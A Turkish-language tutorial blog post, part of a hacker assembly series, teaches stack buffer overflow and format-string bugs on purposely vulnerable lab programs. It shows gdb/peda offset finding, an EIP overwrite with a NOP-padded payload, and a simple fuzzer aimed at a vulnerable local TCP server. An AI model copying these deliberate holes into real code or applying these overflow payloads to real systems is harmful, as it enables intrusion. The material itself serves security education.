Hacker'ın Olmazsa Olmazı Assembly #7 Daramalı Düfek

Bir önceki yazıda shellcode kısmını halllettiğimize (?!) göre şimdi programların işleyişini değiştirmemizi sağlayacak olan buglar yani beterböcekleri hangi yöntemlerle buluyoruz,onu anlatalım dedik ve yazımızın başlıklarına geçtik:

Gel kuçu kuçu

Hatasız kul olmaz derler ya,hah işte biz de o hatalı kulları arıyoruz arkadaşlar.Yalnız bu hataları olan kullar program yazacak ve yazdıkları program da bizim hedefimiz olacak.Öyle hatalar yapacaklar ki yazdıkları programı evirip çevirip istediğimiz gibi yönlendirebileceğiz.Binlerce satırlık programı örnek vermek isterdim ama şimdilik şu garibana bir göz atın,kesmezse gidin Kernel 3.9.2 çıkmış,bilmem kaç milyon satır tepe tepe incelersiniz. [Azimle zıçan duvarı delermiş, vazgeçme!]

ka@ka-vm ~/fuzz $ cat selam.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
char buf[40];
if(argc == 1){
printf("Isim yaz isim! aha boyle: %s isim\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("Salam %s\n", buf);
return 0;
}
ka@ka-vm ~/fuzz $ gcc selam.c -fno-stack-protector -z execstack -o selam
ka@ka-vm ~/fuzz $ ./selam Kenan
Salam Kenan

Evettt bizi salamlayan programımız hazır olduğuna göre, kuçu kuçulama operasyonuna başlayabiliriz. Kaynak kodunu incelerken ilk gözümüze çarpması gereken yer, programın girilecek olan veri için ayrılmış bellek alanı, yani char buf[40]; satırı.Bizim masum programcı, programı yazarken insan olana kırk byte yeter de artar demiş ama hata etmiş.Hatayı ayırdığı alan miktarında yapmamış, strcpy(buf, argv[1]); derken bize güvenerek yapmış.Amcanın biri çıkıp da ayırdığın alandan fazlasını kullanmak isterse ne olacak?

ka@ka-vm ~/fuzz $ ./selam golgeliagacaltindayataruyumazsigaraicerogullarindanzade
Salam golgeliagacaltindayataruyumazsigaraicerogullarindanzade
Segmentation fault

Girdiğimiz ismi gayet güzel salamlıyor işte, neresinde hata var bunun diyen arkadaşların dikkatini bir alt satırdaki Segmentation fault kısmına çekmek istiyorum.Program cıyak cıyak bağırıyor, bir haller oldu bana diyor.Ne haller olduğunu anlamak için aslanımız, koçumuz olan gdbye başvuruyoruz.

ka@ka-vm ~/fuzz $ gdb -q selam
Reading symbols from /home/ka/fuzz/selam...(no debugging symbols found)...done.
(gdb) run golgeliagacaltindayataruyumazsigaraicerogullarindanzade
Starting program: /home/ka/fuzz/selam golgeliagacaltindayataruyumazsigaraicerogullarindanzade
Salam golgeliagacaltindayataruyumazsigaraicerogullarindanzade
Program received signal SIGSEGV, Segmentation fault.
0x00656461 in ?? ()

Bakıyorum bakıyorum hiç birşey göremiyorum diyen öğrenmeyekararlı arkadaşlarımıza açıklayalım.Ayrılan alandan fazla veri girdiğinizde alan doluyor ve durmak yok yola devam diyerek taşıyor.Bu durum klasik bir buffer overflow durumu. Yırtarım dağları enginlere sığmam taşarım durumu öyle bir hal alıyor ki programın gidişatını bozuyor ve tam da bizim istediğimiz şey oluveriyor. Artık programın gidişatını istediğimiz gibi yönlendirebiliyoruz.Detayına inmeden olmaz diyor ve bu sefer de programdan bizi farklı bir isimle salamlamasını istiyoruz.

(gdb) disas main
Dump of assembler code for function main:
...
0x080484c3 <+87>: call 0x8048330
0x080484c8 <+92>: mov eax,0x0
0x080484cd <+97>: leave
0x080484ce <+98>: ret
(gdb) b *0x080484ce
Breakpoint 1 at 0x80484ce
(gdb) run $(python -c 'print "\x90"*52 + "\xef\xbe\xad\xde"')
Starting program: /home/ka/fuzz/selam $(python -c 'print "\x90"*52 + "\xef\xbe\xad\xde"')
Salam ����������������������������������������������������ᆳ�
Breakpoint 1, 0x080484ce in main ()
(gdb) x/xw $esp
0xbffff99c: 0xdeadbeef
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) x/16xw $esp - 0x34
0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff998: 0x90909090 0xdeadbeef 0x00000000 0xbffffa34

Programın günahı neydi de bunlar başına geldi,tek tek inceleyelim.Programın, hata mesajı vermeden önce inceleme yapmak için, main fonksiyonundan çıkacağı ret adresine bir breakpoint koyuyoruz.Sonra python yardımıyla elliiki byte 0x90 yazdırdıktan sonra little endian bir sistemde olduğumuzu unutmadan exploit hikayelerinin klasiği 0xdeadbeef ekleyerek denememizi yapıyoruz.Sonuç olarak programın döneceği adresi overflow sayesinde değiştirip istediğimiz adrese gitmesini başarmış oluyoruz.

Hızlı giden atın boku seyrek olurmuş diyerek bir sonraki başlığa geçmeden neden kırk byte veriden sonra taşma olmadı da elliiki byte doldurmak zorunda kaldık,onu açıklayalım.Taşma işlemi kırk bytedan sonra başlasa da hemen yanıbaşında dönüş adresi değil başka veriler vardı.Programın işleyişinin değiştirilebilmesi için gereken byte ne kadarsa onu hesaplayıp o kadar veriden sonra gitmesini istediğimiz adresi giriyoruz.Bu hesaplanan mesafeye offset deniyor,önemlidir unutmayın!

Program deadbeef [hex olarak yazıldığını unutmayın,bu bir sayı, yani hafızada bir yer] adresine gidiyor ve çalıştırılacak kod arıyor.Bulamayınca bas bas bağırıyor,peki ya bulsaydı ne olacaktı.Nur topu gibi bir exploit vakası olacaktı.Bunu bir sonraki yazımıza bırakıyor ve işlemleri nasıl kolaylaştırdığımızı anlatmak için bir sonraki başlığa geçiyoruz.

Yarı Otomatik

"Bana balık verme, balık tutmayı öğret" mantalitesine sahip siz değerli okuyucular, balık tutarken önce misinanın boyunu milimetrik olarak ölçmek gerekiyor.Konumuza bağlarsak offset değerini nokta atışı bulmanız gerekiyor.Aynen blind sql injection mevzularında ne yapıyorsak öyle yapmamız gerekiyor diyecem de pek açıklayıcı olmayabilir.Durum şu; offset hesaplarken denemeler yaparak eninde sonunda doğru miktarı bulsanız da bu işi tek seferde yapabiliyoruz.Hemen görelim:

ka@ka-vm ~/fuzz $ gdb -q selam
gdb-peda$ pattern arg 100
Set 1 arguments to program
gdb-peda$ run
Starting program: /home/ka/fuzz/selam 'A%sA%nA%(A%)A%...
Salam A%sA%nA%(A%)A%...
Program received signal SIGSEGV, Segmentation fault.
...
[-----------------------------registers------------------------------]
EIP: 0x24412824 ('$(A$')
...
[--------------------------------code--------------------------------]
Invalid $PC address: 0x24412824
Stopped reason: SIGSEGV
0x24412824 in ?? ()
gdb-peda$ pattern offset $(A$
$(A$ found at offset: 52

Kankamız peda yine yardımımıza koşuyor ve herbiri farklı, istediğimiz miktarda pattern yani şablon üretiyor ve hataya sebep olan EIP registerındaki değeri offset olarak sorguladığımızda nokta atışı değer karşımızda duruyor.Gördüğünüz üzere konuya vakıf olduktan sonra yardım alarak işlerimizi kolaylaştırabiliyoruz.

Detayları yazı için hazırlanan videoya bırakarak başka bir detayı sorgulayalım.Program gayet basit, hatanın nerede olduğu aşikar durumdayken herşey basitleşiyor ama program karmakarışık ve incelenmesi gereken binlerce satır varken işimizi nasıl kolaylaştırabiliriz.Buyrun bir sonraki başlığımıza geçelim.

Daramalı Düfek

Programlar karmaşıklaşmaya başlayınca heykır arkadaşlar düşünmüş, taşınmış ve bu işi otomatiğe bağlamamız lazım,böyle tek tek kurşun sıkmakla bu iş olacak gibi deeel, çare bulalım demişler ve gece gündüz demeden uğraşıp daramalı düfek gibi çalışan fuzzer denilen programları yazmışlar.Farklı amaçlar için yazılmış birçok fuzzer bulunmasına rağmen, en meşhurlarından biri spike, biz kendi fuzzerını kendin yap kampanyasına katılıp basit birtanesini Python yardımıyla hazırlayalım.

Yukarıda verdiğimiz program fuzzer kullanımı için çok basit kalacağından, yine eğitim amaçlı hazırlanmış olan bir programı kullanıyoruz.Kaynak kodunu yazının sonunda paylaştım,isteyen indirip denemeler yapabilir.Programı derleyip inceleyelim bakalım neler yapıyormuş.

ka@ka-vm ~/srv $ gcc vuln-server.c -fno-stack-protector -z execstack -o servir
[Uyarıları sallamayın]
ka@ka-vm ~/srv $ ls
servir vuln-server.c
ka@ka-vm ~/srv $ ./servir
Usage: ./servir
ka@ka-vm ~/srv $ ./servir 4444
./servir: waiting for connection on TCP port 4444

Programı derleyip çalıştırınca, bizden sunucunun hizmet sunacağı bir port numarası istediğini görüyoruz.Portu da belirledikten sonra başka bir terminalden sunucumuza bağlanıp ne maharetleri varmış görelim.

[Diğer bir terminal]
ka@ka-vm ~/srv $ nc localhost 4444
Type QUIT on a line by itself to quit
kenan
nanek
iiim nnnilib naidne elttil
little endian bilinnn miii

Maharetleriyle bizi şaşırtan programımızın, sadece gelen veriyi tersine çevirip yüzümüze çarptığını görüyoruz.İntikamımızın çok acı olacağını belirtip, önce manuel vites takılarak programımıza gel kuçu kuçu diyelim.Öğrendiğimiz nokta atışı yöntemle offseti bulalım.

gdb-peda$ pattern create 200 sablon.txt
Writing pattern of 200 chars to filename "sablon.txt"
ka@ka-vm ~/srv $ cat sablon.txt |nc localhost 4444
Type QUIT on a line by itself to quit
[Bakalım sunucumuz ne durumda]
ka@ka-vm ~/srv $ gdb -q servir
Reading symbols from /home/ka/srv/servir...(no debugging symbols found)...done.
gdb-peda$ run 4444
Starting program: /home/ka/srv/servir 4444
/home/ka/srv/servir: waiting for connection on TCP port 4444
127.0.0.1:50184 A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A...
Program received signal SIGSEGV, Segmentation fault.
EIP: 0x24294124 ('$A)$')
Stopped reason: SIGSEGV
0x24294124 in ?? ()
gdb-peda$ pattern offset $A)$
$A)$ not found in pattern buffer

Herşey istediğimiz gibi sonuçlanmış gözükse de pedanın verdiği "bulamadım abi" mesajı ile anlıyoruz ki bir yerde hata yapıyoruz.Bu örnekte [bilerek] yaptığımız hata TCP protokolünün big endian kullandığını unutup şablon dosyamızdaki verinin ters işleme alındığını atlamak oldu. Bu tür detaylarla uğraşmamak için otomatiğe bağlıyoruz ve fuzzerımızı ateşliyoruz.

ka@ka-vm ~/fuzz $ ./dufek.py
[*] 400 byte uzunluğunda şablon dosyası mevcut [*]
[*] Servir çalışiir -> Type QUIT on a line by itself to quit
...
[-] Aha patladı ! (timed out) [-]
...
[!] Offset icin EIP degerini gir bakem: A(%A
[*] Offset değeri 140 olabilir, deadbeef denemesi icin son 3 sn.
...

Yazacağınız birkaçlık satır program işlerinizi kolaylaştırır, nokta atışı offseti bulur,cildinizi parlatır neler neler yapar.Programın detaylarını yazı için hazırlanan videoda bulabilirsiniz.Deneyip görmem lazım diyenler için de yine paylaştık efenimmm diyor ve bir sonraki başlığa geçiyorum.

Göster Abilere

Sünnet olduğu zamanları hatırlayanlar, göster abilere muhabbetini gayet iyi bilir.Şimdi biz aynı şeyi hedef programımıza deyip göstermesini istiyoruz. [gösterecek de ;)] Yukarıda bahsettiğimiz hatalı kullar, ekrana bir mesaj yazdırmak için kullandıkları printf komutunu düzenlerken ufak bir hata yapınca, devreye biz giriyoruz ve katiyen affetmeyiz deyip programın canına okuyoruz.Hemen görelim:

ka@ka-vm ~/fuzz $ cat selam2.c
...
printf(buf);
...
ka@ka-vm ~/fuzz $ ./selam2 test123
test123
ka@ka-vm ~/fuzz $ ./selam2 test123%x
test123bfd9fbe6
ka@ka-vm ~/fuzz $ ./selam2 %x
bf930bed

Neler döndüğünü kısaca açıklayalım.Programı hazırlayan arkadaş, printf komutuyla gösterilecek olan bilgiyi gerektiği gibi düzenlemeyerek art niyetli kullanıcılara, yani bize çok güzel bir zaafiyet vermiş oldu.Bir alt satırda %x ile hafıza adresi olarak çıktıyı manipüle edebildiğimizi görüyoruz.Tipik bir Format String durumu.

İster manuel vites olsun,ister otomatik ne arayacağınızı bilmeden fuzzing yapmanın hiçbir manası yok. Bu verdiğimiz örnekler 15 senedir bilinen, sömürülen temel zaafiyetler.Bunların bazılarını bilirseniz ehh işte durumuna gelirsiniz, yakinen takip edip hepsine vakıf olursanız tehlikeli olursunuz, olur ya yeni bir yöntem keşfederseniz tarihe geçersiniz.

Hacker denilen yaratık, kullandığı herşeyi, ister yazılım olsun ister donanım, merak eden, kurcalayan ve derinlerine inen adamdır.Verdiğimiz örneklerde gördüğünüz üzere çok basit yerlerde ne kadar tehlikeli yanlışlar yapılabiliyor.Konunun temeline vakıf olasınız diye verdiğimiz örnekler sizi yanıltmasın, çok ciddi önlemler alınmış olsa da halen sömürülecek birçok zaafiyetler mevcut.Tek fark işler gün geçtikçe zorlaşıyor.Bir örnek verelim:

ka@ka-vm ~/fuzz $ gcc selam2.c -o selam2
selam2.c: In function ‘main’:
selam2.c:14:2: warning: format not a string literal and no format arguments [-Wformat-security]

Gördüğünüz gibi daha programı derlerken güvenlikle alakalı uyarı mesajı alıyoruz. Öküz değilse programı yazan arkadaş, bu uyarı mesajından sonra gereken önlemleri alacaktır.Yani bu tarz zaafiyetleri güncel programlarda bulmak malesef eskisi kadar kolay olmuyor.

Fuzzing konusunun temellerini anlattığımıza göre, bir sonraki yazımızda kendi exploitlerimizi hazırlamaya başlayabiliriz. Yazı için hazırlanan videoyu izlemeyi unutmayın diyor, bir sonraki yazıya kadar shutdown -h now diyorum.

Oynatalım Uğurcum

Yazı için hazırlanan videoyu YouTube'dan izleyebilirsiniz.

İncelediğmiz ilk programın (selam) kaynak kodunu bu adresten ,servir diye isimlendirdiğimiz programın kaynak kodunu bu adresten ,hazırladığımız basit fuzzerı da bu adresten indirebilirsiniz.